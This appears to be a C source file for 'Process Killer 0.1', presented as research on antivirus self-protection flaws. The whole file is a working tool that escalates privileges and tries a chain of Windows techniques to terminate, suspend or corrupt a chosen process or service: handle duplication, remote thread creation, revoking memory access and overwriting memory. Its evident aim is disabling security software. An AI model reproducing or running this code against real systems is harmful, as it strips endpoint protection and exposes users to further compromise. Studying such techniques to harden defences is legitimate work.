/* A Study on The Security Vulnerabilities in Self Protection of Anti Viruses implementation1 Samuel koo, Seul-Gi Kim Release Date : 2011-08-17 Visit : http://hack-me.org */ #include #include #include #include HANDLE g_hCsrss; void die(LPCSTR strMessage) { printf("%s\n", strMessage); getch(); exit(0); } void EnablePrivilege(LPCWSTR lpPrivilege, bool fEnable) { HANDLE hToken = NULL; if (!::OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return; LUID luid; if (!::LookupPrivilegeValue(NULL, lpPrivilege, &luid)) return; TOKEN_PRIVILEGES NewState; NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid = luid; NewState.Privileges[0].Attributes = (fEnable ? SE_PRIVILEGE_ENABLED : 0); if (!::AdjustTokenPrivileges(hToken, FALSE, &NewState, 0, (PTOKEN_PRIVILEGES) NULL, 0)) return; CloseHandle(hToken); } BOOL TerminateProcessTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid); printf("TerminateProcess test\n"); if(0 != hProcess) f = TerminateProcess(hProcess, DBG_TERMINATE_PROCESS); return f; } BOOL DebugBreakProcessTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; hProcess = OpenProcess(PROCESS_VM_WRITE, FALSE, dwPid); if(0 != hProcess) f = DebugBreakProcess(hProcess); return f; } BOOL DuplicateHandleTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, dwPid); if(0 != hProcess) { printf("DupliecateHandle test \n"); f = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_TERMINATE, FALSE, 0); if(TRUE == f) { printf("Duplicateed! :) \n"); f = TerminateProcess(hProcess, DBG_TERMINATE_PROCESS); f = DebugBreakProcess(hProcess); if(TRUE == f) printf("Kill!! :) \n"); else { printf("Kill failed = %d\n", GetLastError()); } } } return f; } BOOL DebugActiveProcessTest(DWORD dwPid) { BOOL f = FALSE; f = DebugActiveProcess(dwPid); return f; } BOOL WinStationTerminateProcessTest(DWORD dwPid) { int uCode = 0; typedef int (WINAPI *WINSTATIONTERMINATEPROCESS)(HANDLE hServer, DWORD dwProcessId, UINT uExitCode); WINSTATIONTERMINATEPROCESS WinStationTerminateProcess = (WINSTATIONTERMINATEPROCESS) GetProcAddress(LoadLibraryA("winsta.dll"), "WinStationTerminateProcess"); if(0 != WinStationTerminateProcess) uCode = WinStationTerminateProcess(NULL, dwPid, DBG_TERMINATE_PROCESS); return uCode; } BOOL MemoryNullTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; BOOL fOnce = FALSE; DWORD dwWritten = 0; hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, dwPid); if(0 != hProcess) { f = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, 0); if(TRUE == f) { printf("Memory Null test \n"); char* addr = (char*)0x0; MEMORY_BASIC_INFORMATION mbi = {0,}; while( addr < (char*)0x80000000 ) { VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi) ); LPVOID pMemory = malloc(mbi.RegionSize); memset(pMemory, 0x90, mbi.RegionSize); f = WriteProcessMemory(hProcess, mbi.BaseAddress, pMemory, mbi.RegionSize, &dwWritten); if(TRUE == f) fOnce = TRUE; if(0 != pMemory) free(pMemory); addr += mbi.RegionSize; } } } if(TRUE == fOnce) f = TRUE; return f; } BOOL VirtualProtectExTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; DWORD dwOldProtect = 0; BOOL fOnce = FALSE; hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, dwPid); if(0 != hProcess) { f = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_SET_INFORMATION, FALSE, 0); if(TRUE == f) { printf("VirtualProtectEx test \n"); char* addr = (char*)0x0; MEMORY_BASIC_INFORMATION mbi = {0,}; while( addr < (char*)0x80000000 ) { VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi) ); f = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_NOACCESS, &dwOldProtect); if(TRUE == f) fOnce = TRUE; addr += mbi.RegionSize; } } } if(TRUE == fOnce) f = TRUE; return f; } BOOL CreateRemoteThreadTest(DWORD dwPid) { HANDLE hProcess = 0; BOOL f = FALSE; DWORD dwTid = 0; hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, dwPid); if(0 != hProcess) { f = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_CREATE_THREAD, FALSE, 0); if(TRUE == f) { printf("CreateRemoteThread test \n"); CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0, 0, 0, &dwTid); printf("hThread = %d\n", dwTid); } } return dwTid; } BOOL TerminateThreadTest(DWORD dwTid) { HANDLE hThread = 0; BOOL f = FALSE; hThread = OpenThread(THREAD_TERMINATE, FALSE, dwTid); if(0 != hThread) f = TerminateThread(hThread, DBG_TERMINATE_THREAD); return f; } BOOL DuplicateHandleTest2(DWORD dwTid) { HANDLE hThread = 0; BOOL f = FALSE; hThread = OpenThread(MAXIMUM_ALLOWED, FALSE, dwTid); if(0 != hThread) { printf("DupliecateHandle test2 \n"); f = DuplicateHandle(GetCurrentProcess(), hThread, GetCurrentProcess(), &hThread, THREAD_TERMINATE, FALSE, 0); if(TRUE == f) { printf("Duplicateed! :) \n"); f = TerminateThread(hThread, DBG_TERMINATE_THREAD); if(TRUE == f) printf("Kill!! :) \n"); else { printf("Kill failed = %d\n", GetLastError()); } } } return f; } BOOL SuspendThreadTest(DWORD dwTid) { HANDLE hThread = 0; DWORD dwResult = 0; BOOL f = FALSE; hThread = OpenThread(MAXIMUM_ALLOWED, FALSE, dwTid); if(0 != hThread) { f = DuplicateHandle(GetCurrentProcess(), hThread, GetCurrentProcess(), &hThread, THREAD_SUSPEND_RESUME, FALSE, 0); if(TRUE == f) { printf("SuspendThread test \n"); dwResult = SuspendThread(hThread); if(-1 != dwResult) { printf("Kill!! :) \n"); f = TRUE; } else { printf("Kill failed = %d\n", GetLastError()); f = FALSE; } } } return f; } BOOL SetThreadContextTest(DWORD dwTid) { HANDLE hThread = 0; BOOL f = FALSE; hThread = OpenThread(MAXIMUM_ALLOWED, FALSE, dwTid); if(0 != hThread) { f = DuplicateHandle(GetCurrentProcess(), hThread, GetCurrentProcess(), &hThread, THREAD_SET_CONTEXT, FALSE, 0); if(TRUE == f) { printf("SetThreadContext test \n"); CONTEXT ct = {0,}; ct.ContextFlags = CONTEXT_ALL; f = SetThreadContext(hThread, &ct); if(TRUE == f) printf("Kill!! :) \n"); else { printf("Kill failed = %d\n", GetLastError()); } } } return f; } BOOL SendWM_CLOSETest(HWND hWnd) { BOOL f = FALSE; LRESULT lResult = 0; printf("Send WM_CLOSE test \n"); lResult = SendMessage(hWnd, WM_CLOSE, 0, 0); printf("lResult = %d\n", lResult); return f; } BOOL SendWM_QUITTest(HWND hWnd) { BOOL f = FALSE; LRESULT lResult = 0; printf("Send WM_QUIT test \n"); lResult = SendMessage(hWnd, WM_QUIT, 0, 0); printf("lResult = %d\n", lResult); return f; } BOOL SendSC_CLOSETest(HWND hWnd) { BOOL f = FALSE; LRESULT lResult = 0; printf("Send SC_CLOSE test \n"); lResult = SendMessage(hWnd, SC_CLOSE, 0, 0); printf("lResult = %d\n", lResult); return f; } BOOL EndTaskTest(HWND hWnd) { BOOL f = FALSE; LRESULT lResult = 0; typedef BOOL (WINAPI *ENDTASK)(HWND hWnd, BOOL shutdown, BOOL force); ENDTASK EndTask = (ENDTASK)GetProcAddress(GetModuleHandleA("user32.dll"), "EndTask"); printf("EndTask test \n"); f = EndTask(hWnd, TRUE, TRUE); return f; } DWORD GetServicePid(LPCSTR strServiceName) { DWORD uPid = 0; SC_HANDLE hSCM = NULL; SC_HANDLE hService = NULL; hSCM = ::OpenSCManager(NULL, NULL, GENERIC_READ); if (NULL == hSCM) return 0; hService = ::OpenServiceA(hSCM, strServiceName, SERVICE_QUERY_STATUS); if (NULL == hService) return 0; SERVICE_STATUS_PROCESS ssp = {0}; DWORD cbBytesNeeded = 0; if (!::QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &cbBytesNeeded)) return 0; uPid = ssp.dwProcessId; ::CloseServiceHandle(hService); ::CloseServiceHandle(hSCM); return uPid; } DWORD GetCsrssPid() { DWORD dwPidCsrss = 0; typedef DWORD (WINAPI* PFCsrGetProcessId)(); PFCsrGetProcessId pfCsrGetProcessId = (PFCsrGetProcessId)::GetProcAddress(::GetModuleHandleW(L"ntdll.dll"), "CsrGetProcessId"); if (NULL == pfCsrGetProcessId) return 0; dwPidCsrss = pfCsrGetProcessId(); return dwPidCsrss; } int _tmain(int argc, _TCHAR* argv[]) { DWORD dwPid = 0; DWORD dwTid = 0; BOOL f = FALSE; printf("::::::::::::::::::::::::::::::::::::::::::::::::::\n"); printf("::: :::\n"); printf("::: Process Killer 0.1 :::\n"); printf("::: http://hack-me.org :::\n"); printf("::: :::\n"); printf("::: Samuel koo, Seul-Gi Kim :::\n"); printf("::: :::\n"); printf("::: :::\n"); printf("::: :::\n"); printf("::::::::::::::::::::::::::::::::::::::::::::::::::\n\n\n"); EnablePrivilege(SE_DEBUG_NAME, true); printf("Type : \n1. Service\n2. Process\n\n\n"); printf("Select : "); int no = getche() - '0'; printf("\n"); if(1 == no) { char namebuf[101] = ""; printf("Service Name : "); fgets(namebuf, 100, stdin); namebuf[strlen(namebuf) - 1] = 0; dwPid = GetServicePid(namebuf); } else if(2 == no) { printf("Process ID : "); scanf("%d", &dwPid); } printf("Target PID = %d\n", dwPid); if(0 != dwPid && 0 == dwTid) { HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid); if (INVALID_HANDLE_VALUE == hSnapshot) return false; THREADENTRY32 entry; entry.dwSize = sizeof(THREADENTRY32); BOOL fEnum = ::Thread32First(hSnapshot, &entry); while (fEnum) { if (entry.th32OwnerProcessID == dwPid) { dwTid = entry.th32ThreadID; f = TerminateThreadTest(dwTid); if(FALSE == f) { f = DuplicateHandleTest2(dwTid); if(FALSE == f) { f = SuspendThreadTest(dwTid); printf("%d %d\n", f, GetLastError()); if(FALSE == f) { f = SetThreadContextTest(dwTid); } } } } fEnum = ::Thread32Next(hSnapshot, &entry); } ::CloseHandle(hSnapshot); } else if(0 == dwPid && 0 != dwTid) { printf("Open Process Failed!\n", GetLastError()); f = TerminateThreadTest(dwTid); if(FALSE == f) { f = DuplicateHandleTest2(dwTid); if(FALSE == f) { f = SuspendThreadTest(dwTid); printf("%d %d\n", f, GetLastError()); if(FALSE == f) { f = SetThreadContextTest(dwTid); } } } } printf("Keep going level2 dude?\n"); getch(); if(0 != dwPid) { f = TerminateProcessTest(dwPid); // getch(); if(FALSE == f) { f = DuplicateHandleTest(dwPid); // getch(); if(FALSE == f) { f = WinStationTerminateProcessTest(dwPid); // getch(); //if(FALSE == f) { f = DebugActiveProcessTest(dwPid); /*if(FALSE == f)*/ { f = DebugBreakProcessTest(dwPid); // getch(); //if(FALSE == f) { f = CreateRemoteThreadTest(dwPid); // getch(); //if(FALSE == f) { f = VirtualProtectExTest(dwPid); // getch(); //if(FALSE == f) { f = MemoryNullTest(dwPid); // getch(); } } } } } } } } if(0 != dwPid && 0 == dwTid) { HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid); if (INVALID_HANDLE_VALUE == hSnapshot) return false; THREADENTRY32 entry; entry.dwSize = sizeof(THREADENTRY32); BOOL fEnum = ::Thread32First(hSnapshot, &entry); while (fEnum) { if (entry.th32OwnerProcessID == dwPid) { dwTid = entry.th32ThreadID; f = TerminateThreadTest(dwTid); if(FALSE == f) { f = DuplicateHandleTest2(dwTid); if(FALSE == f) { f = SuspendThreadTest(dwTid); printf("%d %d\n", f, GetLastError()); if(FALSE == f) { f = SetThreadContextTest(dwTid); } } } } fEnum = ::Thread32Next(hSnapshot, &entry); } ::CloseHandle(hSnapshot); } else if(0 == dwPid && 0 != dwTid) { printf("Open Process Failed\n", GetLastError()); f = TerminateThreadTest(dwTid); if(FALSE == f) { f = DuplicateHandleTest2(dwTid); if(FALSE == f) { f = SuspendThreadTest(dwTid); printf("%d %d\n", f, GetLastError()); if(FALSE == f) { f = SetThreadContextTest(dwTid); } } } } else { printf("Not Found :(\n"); } getch(); return 0; }